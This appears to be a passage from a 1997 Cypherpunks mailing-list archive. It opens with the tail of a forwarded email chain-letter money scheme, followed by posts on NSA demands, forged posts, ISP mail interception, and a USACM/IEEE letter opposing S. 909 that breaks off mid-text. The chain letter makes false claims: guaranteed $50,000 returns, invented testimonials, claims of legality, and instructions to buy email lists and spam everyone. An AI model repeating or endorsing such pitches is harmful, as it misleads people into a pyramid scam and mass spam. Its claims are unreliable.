DON'T,  SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in 
making $50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders for REPORT 
#2.  If  you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE 
ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE 
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I 
sat back and relaxed.  By March 19th, of my emailing of 10,000, I 
received $58,000 with more coming in every day.
I paid off  ALL my debts and bought a much needed new car.  Please 
take time to read the attached program, IT WILL CHANGE YOUR LIFE 
FOREVER!
Remember,  it wont work  if you don't try it.  This program does 
work, but you must follow it EXACTLY!  Especially the rules of not 
trying to place your name in a different place.  It doesn't work, 
you'll lose out on a  lot of  money!  REPORT  #2  explains this.  
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 
or more orders for REPORT #2 and you will  make  $50,000 or more in 
20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!
If you choose not to participate in this program, I'm sorry.  It 
really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to 
financial
security.
 
If you are a fellow business owner and you are in financial trouble 
like I
was, or you want to start your own business, consider this a sign.  I 
DID!
 
Sincerely,
Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like 
piled up on a kitchen table? IT'S AWESOME!
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no 
idea who to contact to get a copy, so I had to wait until I was 
emailed another copy of the program.  Eleven months passed, then it 
came.  I DIDN'T throw this one away.  I made $41,000 on the first 
try."
Dawn W., Evansville, IN
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free 
lunch in
life.  You get out of life what you put into it.'  Through trial  and 
error
and a somewhat slow frustrating start, I finally figured it out. The 
program works very well, I just had to find the right target group of 
people to email it to.  So far this year, I have made over $63,000 
using this program. I know my dad would have been very proud of me."
Alan B., Philadelphia, PA
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
By the time you have read the enclosed information and looked over 
the enclosed program and reports, you should have concluded that such 
a program, and  one that is legal,  could not have been created by an 
amateur.
Let me tell you a little about myself.  I had a profitable business 
for ten
years.  Then in 1979 my business began falling off.  I was doing the 
same things that were previously successful for me, but it wasn't 
working. Finally, I figured it out.  It wasn't me, it was the 
economy. Inflation and recession had replaced the stable economy that 
had been with us since 1945. I don't have to tell you what happened 
to the unemployment rate...because many of you know from first hand  
experience. There were more failures and bankruptcies than ever 
before.
The middle class was vanishing.  Those who knew what they were doing 
invested wisely and moved up.  Those who did not, including those who 
never had anything to save or invest, were moving down into the ranks 
of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  
The traditional methods of making money will never allow you to "move 
up" or "get rich", inflation will see to that.  You have just 
received information that can  give you financial freedom for the 
rest of your life, with "NO RISK" and "JUST A  LITTLE BIT OF EFFORT." 
 You can make more money in the next few months  than you have ever 
imagined.
I should also point out that I will not see a penny of your money, 
nor
anyone else who has provided a testimonial for this program.  I have 
already made over FOUR MILLION DOLLARS!  I have retired from the 
program after sending out over 16,000 programs.  Now I have several 
offices which market this and several other programs here in the US 
and overseas.  By the Spring, we wish to market the 'Internet' by a 
partnership with AMERICA ON LINE.
Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any 
way. It works exceedingly well as it is now.  Remember to email a 
copy of this exciting program to everyone that you can think of.  One 
of the people you send this to may send out 50,000...and your name 
will be on every one of them!.  Remember though, the more you send 
out, the more potential customers
you will reach.
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!
 
"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and 
figure out what could happen when YOU participate.  Figure out the 
worst possible response and no matter how you calculate it, you will 
still make a lot of money!  Definitely get back what you invested.  
Any doubts you have will  vanish when your first orders come in.  IT 
WORKS!
Paul Johnson, Raleigh, NC
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll
assume you and all those involved send out 2,000 programs each. Let's 
also assume that the mailing receives a .5% response.  Using a good 
list the response could be much better.  Also many people will send 
out hundreds of thousands of programs instead of 2,000.  But 
continuing with this example, you send out only 2,000 programs.  With 
a .5% response, that is only 10 orders for REPORT #1.  Those 10 
people respond by sending out 2,000 programs each for a total of 
20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 
mail out 2,000 programs each for a total of 200,000.  The .5% 
response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 
2,000 programs each for a 2,000,000 total.  The .5% response to that 
is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for 
you. CASH!!!!  Your total income in this example is $50 + $500 + 
$5000 +$50,000 for a total of $55,550!!!!
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU  MAIL 
TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!   DARE TO 
THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE   OR HALF SENT OUT 
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost 
to participate in this is practically nothing.  You obviously already 
have an internet connection and email is FREE!!!  REPORT #3 will show 
you the best methods for bulk emailing and purchasing email lists.
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not  
require you to come in contact with people, do any hard work, and 
best of all, you never have to leave the house except to get the 
mail.  If you believe that someday you'll get that big break that 
you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% 
EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, 
the more people will be doing business using email.  Get your piece 
of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is 
being taught in the Harvard Business School, and both Stanford 
Research and The Wall Street Journal have stated that between 50% and 
65% of all goods and services will be sold throughout Multi-level 
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar 
industry and of the 500,000 millionaires in the US, 20% (100,000) 
made their fortune in the last several years in MLM.  Moreover, 
statistics show 45 people become millionaires everyday through Multi-
Level Marketing.
INSTRUCTIONS
We at Erris Mail Order Marketing Business, have a method of raising 
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could 
use  $50,000 to $125,000 in the next 20 to 90 days.  Before you say 
"Bull", please read  the program carefully.
This is not a chain letter, but a perfectly legal money making 
opportunity.
Basically, this is what we do:  As with all multi-level business, we 
build
our business by recruiting new partners and selling our products.  
Every
state in the USA allows you to recruit new multi-level business 
partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved in personal 
selling.  You do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing anywhere:
STEP (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do 
this by ordering the REPORT from each of the four 4 names listed on 
the next page. For each REPORT, send $5 CASH and a SELF-ADDRESSED, 
STAMPED  envelope (BUSINESS SIZE #10) to the person listed for the 
SPECIFIC REPORT.   International orders should also include $1 extra 
for postage.  It is essential  that you specify the NAME and NUMBER 
of the report requested to the person you are ordering from.  You 
will need ALL FOUR (4) REPORTS because you will be REPRINTING and 
RESELLING them. DO NOT alter the names or sequence other than what 
the instructions say.
IMPORTANT:  Always provide same-day service on all orders.
STEP (2) Now you have to make some changes in this email message 
before you are ready to start sending it out.  Replace  the  name  
and  address  under  REPORT #1  with yours, moving the one that was 
there down to REPORT #2.   Drop  the  name and address  under REPORT 
#2 to REPORT #3, moving the one that was there to REPORT #4.   The 
name and address that was under REPORT #4 is dropped from the list 
and  this party  is  no doubt on the way to the bank.  When doing 
this, make certain you  type the names and addresses ACCURATELY!  DO 
NOT MIX UP MOVING 
PRODUCT/REPORT  POSITIONS!!!
STEP (3)   Having made the required changes in the NAME list, save it 
as a text (.txt) file in it's own directory to be used with whatever 
email
program you like. Again, REPORT #3 will tell you the best methods of 
bulk emailing and acquiring email lists. Step (4)   Email a copy of 
the entire program (all of this is very important) to everyone whose 
address you can get your hands on. Start with friends and relatives 
since you can encourage them to take advantage of this  fabulous  
money-making opportunity. that's what I did.  And they love me now, 
more than ever. Then, email to anyone and everyone!  Use your 
imagination! You can get email addresses from companies on the 
internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.
IMPORTANT:  You won't get a good response if you use an old list, so 
always request a FRESH, NEW list. You will find out where to purchase 
these lists when you order the four 4 REPORTS.
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
REQUIRED REPORTS
***Order each REPORT by NUMBER and NAME***
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Mahajan Marketing
PO Box 2287
Merrifield, VA 22116-2287
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:

BRYOCOM GLOBAL 
9608 N May Ave #230
Oklahoma City, OK 73120 


_______________________________________________________
 
CONCLUSION
I am enjoying my fortune that I made by sending out this program. You 
too, will be making money in 20 to 90 days, if you follow the SIMPLE 
STEPS
outlined in this mailing.
To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, 
retire
or take a vacation.  No longer will a lack of money hold you back.
 
However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it.  It is much easier to 
say "NO" than "YES", and this is the question that you must answer.  
Will YOU ignore this amazing opportunity or will you take advantage 
of it? If you do nothing, you have indeed missed something and 
nothing will change.  Please re-read this material, this is a special 
opportunity. If you have any questions, please feel free to write to 
the sender of this information.  You will get a prompt and 
informative reply.
My method is simple.  I sell thousands of people a product for $5 
that costs me pennies to produce and email.  I should also point out 
that this program is legal and everyone who participates WILL make 
money. This is not a chain letter or pyramid scam.  At times you have 
probably received chain letters, asking you to send money, on faith, 
but getting NOTHING in return, NO product what-so-ever!  Not only are 
chain letters illegal, but the risk of someone breaking the chain 
makes them quite unattractive.
You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them. 
It's simple free enterprise.  As you learned from the enclosed  
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS 
REPORTS.  
The information contained in these REPORTS will not only help you in 
making your participation in this program more rewarding, but will be 
useful to you in any other business decisions you make in the years 
ahead. You are also buying the rights to reprint all of the REPORTS, 
which will be ordered from you by those to whom you mail this 
program.  The concise one and two page REPORTS you will be buying can 
easily be reproduced at a local copy center for a cost off about 3 
cents a copy.
Best wishes with the program and Good Luck!
"IT WAS TRULY AMAZING"
"Not being the gambling type, it took me several weeks to make up my 
mind to participate in this program.  But conservative as I am, I 
decided that the initial investment was so little that there was no 
way that I could not get enough orders to at least get my money back. 
 BOY, was I ever surprised when I found my medium sized post office 
box crammed with orders!  I will make more money this year than any 
ten years of my life before."
Mary Riceland, Lansing, MI
TIPS FOR SUCCESS
Send for your four 4 REPORTS immediately so you will have them when 
the orders start coming in.  When you receive a $5 order, you MUST 
send out the product/service to comply with US Postal and Lottery 
laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A 
PRODUCT OR SERVICE  MUST BE EXCHANGED FOR MONEY RECEIVED."
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
1.	Name your new company. You can use your own name if you desire.
2.	Get a post office box (preferred).
3.	Edit the names and addresses on the program. You must remember,  
your name and address go next to REPORT #1 and the others all move 
down one, with the fourth one being bumped OFF the list.
4.	Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.
5.	Decide on the number of programs you intend to send out.  The more 
you  send, and the quicker you send them, the more money  you will 
make. 
6.	After mailing the programs, get ready to fill the orders.
7.	Copy the four 4 REPORTS so you are able to sent them out as soon 
as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE  
ON ORDERS YOU RECEIVE!
8.	Make certain the letter and reports are neat and legible.
 
YOUR GUARANTEE
The check point which GUARANTEES your success is simply this:  you 
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If 
you don't within two weeks, email out more programs until you do.  
Then a couple of weeks later you should receive at least 100 orders 
for REPORT #2, if you don't, send out more programs until you do.  
Once you have received 100 or more orders for REPORT #2, (take a deep 
breath) you can sit back and  relax, because  YOU  ARE  GOING TO  
MAKE  AT  LEAST  $50,000. Mathematically  it is  a  proven  
guarantee.   Of  those  who  have participated in t
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From whgiii at amaranth.com  Mon Jul  7 22:58:29 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 8 Jul 1997 13:58:29 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
Message-ID: <199707080547.AAA14817@mailhub.amaranth.com>


In , on
07/07/97
   at 02:43 PM, Ray Arachelian  said:

>On Mon, 7 Jul 1997, Ulf [iso-8859-1] M�ller wrote:

>> Why should the US government get access to the source code of foreign
>> product being imported to the US?

>Because they are scum who don't care about the property rights of
>corporations.  I wonder what would happen if Sun would instead say "Fuck
>you no way" or whether they were threatened into giving it up?

Well if Sun, M$, N$, IBM, HP, et. al. had some balls and told the NSA a
long time ago to "Fuck Off" we wouldn't see all this tap dancing around
ITAR right now.

"Either we all hang together or we will all assuredly hang"

--
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html          
---------------------------------------------------------------

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From blancw at cnw.com  Mon Jul  7 23:06:46 1997
From: blancw at cnw.com (Blanc)
Date: Tue, 8 Jul 1997 14:06:46 +0800
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: <3.0.32.19970707223104.00a0d308@cnw.com>



At 01:25 PM 7/7/97 -0400, Robert Hettinga wrote:

>"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous
>
>Mr. Frissell, an Attorney, privacy consultant, and author, has worked
>in what he insists on calling the "Right Wing Nut Investment Community"
>for more than 20 years.
.............................................................


What sort of things have you authored, Duncan?  Books? Articles?
Something we could look up & read?


    ..
Blanc






From nobody at REPLAY.COM  Mon Jul  7 23:06:57 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 14:06:57 +0800
Subject: Forged Posts
In-Reply-To: <199707080336.VAA28514@wombat.sk.sympatico.ca>
Message-ID: <199707080550.HAA12425@basement.replay.com>




On Mon, Jul 07, 1997 at 09:39:58PM -0400, BadRemailer wrote:
> Tim May wrote:
> > The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
> > Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
> > again.
> > 
> > While I was out of town, he arranged to have this message sent:
> > 
> > At 5:20 PM -0700 7/2/97, Tim May wrote:
> > >  Anything that isn't nailed down, is mine.
> > >  Anything that I can pry loose, isn't nailed down.
> 
>   "Toto" is actually an anonymous pseudonym of Adam Back, who resents
> Tim May's respected position on the list. "TruthMonger" posts are 
> usually written by John Young and Robert Hettinga as a result of 
> having the same drug connections and thus a common outlook on life
> when they are stoned out of their gourds.

What a bozo! This is completely backward.  Tim May is actually a
complete fabrication, a clever construct of that literary genius Toto. 

The Tim May character is, however, based on a real character who died
peacefully in his sleep over five years ago.  Adam Back doesn't exist,
either.  You are, however, correct about John Young and Robert
Hettinga being lovers. 

>   Lucky Green's recent posts are actually forgeries done by snow, and
> Kent Crispin has been sending posts purporting to be from Dr. Vulis.

This is completely screwed up, as well.  snow has been on vacation for
the past month.  Lucky Green's posts are really by Dr Vulis.  Kent
Crispin is another fabrication of Toto's, this time with no apparent 
model. 

FishMonger






From blancw at cnw.com  Mon Jul  7 23:11:38 1997
From: blancw at cnw.com (Blanc)
Date: Tue, 8 Jul 1997 14:11:38 +0800
Subject: Need Money? This REALLY works!!!
Message-ID: <3.0.32.19970707230702.00a179c4@cnw.com>




Well dang, I think Ashish Mahajan needs us all to send 10 copies of this
24K message back to him . . . 



    ..
Blanc






From nobody at REPLAY.COM  Mon Jul  7 23:13:05 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 14:13:05 +0800
Subject: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707080601.IAA14197@basement.replay.com>



>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>Former employees call senior leadership the "Irish Mafia" and the Office of
>Discrimination Complaints and Counseling "a party organization for blacks."

A heartwarming report.

The NSA represents the worst of America: its paranoia, its ruthlessness,
its end-justifies-the-means amorality.  The NSA's personnel policies
reveal its attitudes clearly.
(http://theory.stanford.edu/people/donald/NSA.doc.html)

It is ironic indeed that the NSA is being weakened, not by the foreign
enemies it sees behind every curtain, but by the EEOC.  NSA's immoral
and callous mistreatment of employees and its jealous defense of white
heterosexual male privilege have been shielded for far too long behind
the cloak of national security.  An organization which seeks the
darkness so eagerly can only fear the light.

There is no place any longer in the world for an agency like the NSA.
It is an enemy to freedom and an enemy to the free citizenry of its
own country.

We need a new agency, one to defend us against infowar, to help
industrial competitiveness, to assist Americans in retaining their
freedoms rather than attempting to strip them away for its own evil
purposes.  Let us hope that the changing of the guard at the NSA will
lead to a rebirth and a renewal as an agency looking forward, rather
than one concerned only with guarding its own rear.

Anon






From img at llv.com  Tue Jul  8 14:30:50 1997
From: img at llv.com (img at llv.com)
Date: Tue, 8 Jul 1997 14:30:50 -0700 (PDT)
Subject: Home-based Business Opportunity
Message-ID: <199706190025.GAA08056@lllv.com>


"Get Rich Quick - Chain Letters - MLM - Millionaires"

What's your dream?  A new car?  A new home?
Financial security?  I sincerely believe that these
dreams - and others - are available on the WWW.

With Internet Marketing, your income is limited
only by your ambition and your willingness to
learn.

Over the past year, I've personally invested over 
$50,000 in the research and development of what 
I consider to be the most viable and realistic Internet
Business Opportunities. 

It is my plan to share my knowledge and marketing
experience of over 30 years with a limited number
of Associates throughout the world.

You can be one of those Associates.  You can
realize your personal financial dreams.

A well-known adage goes, "today is the first day of
the rest of your life" - another, "if you always do
what you've always done, you'll always get what
you've always gotten."

I'd like to help you change your future.  I'd like
to help you find your dream.  For, I believe
sincerely, through helping others realize their
hopes and dreams, I can realize my goals.

My name is Jack Shearin and I'm the Founder of
Internet Marketing Group International.  This
organization is dedicated, as its name implies,
to the marketing of products and services over
the Internet.

I'd like to extend my personal invitation to you to
visit our Web Site at http://www.imgi.com to
check out what is perhaps one of the most exciting
Home-Based Business Opportunities in 'Cyberia'.





From blancw at cnw.com  Mon Jul  7 23:54:17 1997
From: blancw at cnw.com (Blanc)
Date: Tue, 8 Jul 1997 14:54:17 +0800
Subject: Need Money? This REALLY works!!!
Message-ID: <3.0.32.19970707230946.00a1a32c@cnw.com>




Well dang, I think Ashish Mahajan needs us all to send 10 copies of this
24K message back to him . . . 



    ..
Blanc






From nobody at REPLAY.COM  Tue Jul  8 00:07:48 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 15:07:48 +0800
Subject: A.Word.A.Day--cryptozoology / Was Re: Forgeries
Message-ID: <199707080654.IAA23508@basement.replay.com>



Wordsmith wrote:
> 
> cryp.to.zo.ol.o.gy n. 1969 :1) the study of the lore concerning legendary
>    animals (as Sasquatch) especially in order to evaluate the possibility of
>    their existence
>    2) the study of the lore concerning legendary members of the 
>    cypherpunks mailing list (as Tim C. May) especially in order 
>    to evaluate the possibility of their existence, as opposed to
>    being the creation of the Electronic Forgery Foundation.
> 
>    Maria Goodavage, Most scientists merely amused., USA TODAY, 05-24-1996,
>    pp 08A.
>    "But J. Richard Greenwell, a zoologist at the International Society of
>    Cryptozoology, which studies evidence of unverified animals, cites the
>    example of the mountain gorilla, thought to be a myth until the early
>    1900s. `It's the largest known primate in the world, and it took a long,
>    long time to prove it really exists,' he says.
>    On the existence of Tim C. May, Greenwell said, "Legend tells us
>    that he is a Cypherpunk Sasquatch, but every researcher who has 
>    gone in search of him has come back in a body bag with a variety
>    of bullet holes in the carcass."
>    Greenwell also quotes a writer at Market Magazine, in regard to the
>    rumored existence of Robert Hettinga, "If Hettinga really exists,
>    then why is he never credited for any quotes in the media?"
> 
> This week's theme: AWAD's recommendations for some unusual areas to work in.
> 
> ...........................................................................
> No wonder nobody comes here--it's too crowded. -Yogi Berra
> 
> Send your comments about words to anu at wordsmith.org.  To subscribe or
> unsubscribe A.Word.A.Day, send a message to wsmith at wordsmith.org with
> "Subject:" line as "subscribe " or "unsubscribe".  Archives,
> FAQ, gift subscription form, and more at: http://www.wordsmith.org/awad/







From nobody at REPLAY.COM  Tue Jul  8 00:25:09 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 8 Jul 1997 15:25:09 +0800
Subject: Forged Posts
Message-ID: <199707080713.JAA26805@basement.replay.com>



BadRemailer wrote:

X-Comments: Note: It is BadRemailer policy to read all anonymous mail
X-Comments: passing through our hands, and expose the nasty little 
X-Comments: secrets of those who use our service.
X-Comments: Not that we're troublemakers...

> BadRemailer
> "Some people just can't keep a secret."

  In the movie version, Eddie Murphy plays BadRemailer, and the
big scene is when he walks into a cypherpunks physical meeting
and says, "I'm your worst nightmare...a remailer with a LOG!"

Steven SpeilMonger






From tcmay at got.net  Tue Jul  8 00:31:01 1997
From: tcmay at got.net (Tim May)
Date: Tue, 8 Jul 1997 15:31:01 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: 



At 8:31 PM -0700 7/7/97, Bill Frantz wrote:

>You will have to decide for yourself how important the extra "convenience"
>of an electronic copy is compared with the publisher's stated intent to
>"never do this again" if it is posted.  It is a simple case of future
>benefit vs. immediate gratification.

Anytime a statement like this is made, one can count on the text being
posted. The act of posting such a warning, seen as a dare to many, or as a
suddenly very attractive target, ensures that it will be posted.

Either by someone just wanting to be the one to provoke an action, or by
the imp of the perverse, or by some TLA spook seeing in his posting the
solution to the problem of crypto knowledge proliferation.

(Not to mention being posted by someone who thinks it more important that
the knowledge get spread widely than that the publisher collect incremental
revenues.)

Similarities with such warnings to children--or to the infamous "Don't
think about the color blue for the next minute"--are left for you to ponder.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Tue Jul  8 01:04:05 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 8 Jul 1997 16:04:05 +0800
Subject: Forged Posts
In-Reply-To: <199707080550.HAA12425@basement.replay.com>
Message-ID: <199707080749.CAA16060@mailhub.amaranth.com>



In <199707080550.HAA12425 at basement.replay.com>, on 07/08/97 
   at 07:50 AM, nobody at REPLAY.COM (Anonymous) said:

>Kent Crispin is another fabrication of Toto's, this time with no apparent 
>model. 

Hey now give credit where credit is due!!

Kent Crispin is my creation!!! His sole purpose is so I can refute his
posts.

I beleive in literary terms this is know as a foil. :)

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------






From dave at bureau42.ml.org  Tue Jul  8 01:07:34 1997
From: dave at bureau42.ml.org (David E. Smith)
Date: Tue, 8 Jul 1997 16:07:34 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: 
Message-ID: 



On 8 Jul 1997, Firebeard wrote:

> 	But it could - it's simple firewall technology.  There's no MX
> record for sten.tivoli.com, but any incoming email to me is
> intercepted by proxy.tivoli.com, as is all other incoming traffic to
> the internal tivoli.com network on port 25.  Since 'incoming' is only
> a matter of definition, it would be trivial for an ISP to set up a
> firewall that passed all other ports through transparently, but
> redirected connections with a destination of port 25 to their own SMTP
> server.

Very much depends on how `ISP' is defined.  All my mail now comes in
via UUCP, which is another port (540, I think).  Outgoing mail goes
to another system which is run from a friend's house, and therefore
probably doesn't count as an ISP (again, UUCP).

> 	I don't want them to, and I _certainly_ don't want the
> government goons requiring ISPs to do this, but don't sit back and
> relax with the notion that 'it can't be done'.

It certainly _can_ be done.  Almost anything _can_ be done.
Whether it should (and in this case, it shouldn't!) be done is another issue.

dave

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
1000s of Magic:The Gathering cards 4 sale! Info on req.
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)






From usacm_dc at acm.org  Tue Jul  8 03:19:13 1997
From: usacm_dc at acm.org (ACM US Public Policy Office)
Date: Tue, 8 Jul 1997 18:19:13 +0800
Subject: IEEE-USA & USACM Letter on S. 909
Message-ID: 




**************************************

The Institute of Electrical and Electronics Engineers-
United States Activities
1828 L Street, NW, Suite 1202
Washington, DC 20036
T: (202) 785-0017; F: (202) 785-0835

The Association for Computing
U.S. Public Policy Office
666 Pennsylvania Ave., SE
Suite 302 B
Washington, DC  20003
T: (202) 544-4859
F: (202) 547-5482


July 3, 1997

The Honorable John McCain
Chairman
Senate Commerce, Science & Transportation Committee
241 Russell Senate Office Bldg.
Washington, DC 20510

Dear Mr. Chairman:

The U.S. Public Policy Office for the Association for Computing (USACM) and
The Institute of Electrical and Electronics Engineers-United States
Activities (IEEE-USA) note with considerable dismay the Senate Commerce,
Science and Transportation Committee's recent approval of S. 909, the
"Secure Public Networks Act."

We share many of the concerns of the Committee members regarding problems
of national security and law enforcement.   However, we believe that the
"Secure Public Networks Act," as approved by the Committee, leads U.S.
encryption policy in the wrong direction.   The proposed bill stands in
opposition to the scientific and professional opinions of many experts who
believe that national security and public safety will be weakened by the
mandated introduction of constrained or recoverable-key encryption.  We
also believe that such action will hinder U.S. competitiveness in
international markets, establish a dangerous precedent for the future, and
endanger cherished civil liberties in the U.S. and elsewhere in the world.

Since no hearings were held on the bill, the Committee may not have had
full information on its implications.
We believe the bill will have a serious, negative and long-term impact on
society in general and on our organizations and their members.  We are
keenly interested in supporting significant consideration of the important
issues involved, and we would very much like to provide technical and
scientific input on this issue.  Many of our members are
internationally-recognized experts in the area of information security and
encryption, and several have significant experience with law enforcement
and national security issues.  We would be happy to put you in contact with
some of these experts should you desire more information on the points we
outline in this letter.

In what follows, we  briefly outline some of the reasons why so many
experts believe such a bill is harmful if it became law.





        - 2 -

First, the bill is economically harmful.  Voting to restrict strong
cryptography would damage America's dominance in information technologies.
Secure software and hardware is available overseas.  Mathematical acumen
exists around the world; the U.S. can neither control nor contain it.
Software companies will continue to be forced to seek talent elsewhere.
The widely-used, strong cryptographic algorithm IDEA, for example, was
developed in Europe.  U.S. software and hardware suppliers can incorporate
IDEA into their products, but only if those products are confined to use in
the U.S.   Export controls have obviously not hindered the worldwide spread
of encryption products based on IDEA and produced outside the U.S.  These
controls have merely prevented U.S. providers from participating in that
global market.  Customers throughout the world have the sophistication to
understand the need for strong cryptographic products and they will
continue to seek to buy them wherever they are sold.  The result will be an
increasing loss of jobs and revenues in an area where the U.S. once held
the dominant position.  It is conceivable that our own industry and
civilian sector might eventually become dependent on foreign cryptography
products should U.S.  firms continue to be prohibited from open competition
in this arena.

Second, this bill threatens cherished civil freedoms.  Information
technologies make data surveillance possible and increasingly affordable.
The best technical protections available to the individual depend upon
cryptography.  There is also an unfortunate history of a few law
enforcement agents and government officials using their positions and
access to violate the law and the rights of citizens.  Strong encryption is
the only practical means available to law-abiding citizens to defend
themselves against these infrequent, but all-too-real abuses.

The wording in the proposed bill for organizations with Federal funding to
rely on a mandated form of encryption will be burdensome and may lead to
severe invasions of privacy.  For instance, if a library or university were
forced to implement such encryption, how could the organization ensure that
its users were actually employing the system?  The only sure method would
be to "snoop" on the messages to see if they were breakable under the
mandated scheme.  Otherwise, users would be able to substitute their own
encryption instead of, or in addition to, the mandated form, thus rendering
this bill meaningless but still costly to implement.  This raises serious
questions about privacy -- and more importantly -- First Amendment
considerations.

Third, the criminal element will not be hindered by any legislation similar
to the one proposed.  The referenced bill provides no provisions that would
actually deter criminals from employing strong encryption obtained from
other sources.    Drug cartels, terrorists, pornographers and others who
might use encryption in criminal enterprises are already violating laws
with penalties much more severe than any that might be imposed for using
unauthorized encryption technologies.  Meanwhile, law-abiding citizens
would be forced to rely on technologies that might not protect their
private information against "crackers" and potential blackmailers.  As in
the physical world, the best public safety results from crime prevented
